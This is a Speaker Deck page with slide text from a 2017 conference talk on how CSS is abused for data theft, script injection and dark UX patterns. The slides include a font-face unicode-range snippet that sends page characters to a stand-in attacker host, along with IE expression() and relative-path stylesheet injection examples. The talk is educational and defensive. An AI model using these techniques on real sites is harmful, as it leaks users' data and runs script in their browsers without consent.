Upgrade to Pro — share decks privately, control downloads, hide ads and more …

CSS For Good, Not Evil

Stephen Hay
June 16, 2017

CSS For Good, Not Evil

My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam

Stephen Hay

June 16, 2017

More Decks by Stephen Hay

Other Decks in Design


  1. CSS For Evil, Not Good. How style has been used

    to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
  2. but most of all, Samy is 
 my hero By

    vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
  3. <div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {

    font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
  4. .foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta

    http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
  5. http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *

    { width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
  6. .li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;

    top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
  7. One thing going for us, at least for now: most

    scammers aren’t great designers.
  8. Yes | No Yes | Not right now Yes |

    Maybe later There is a significant difference between these sets of choices.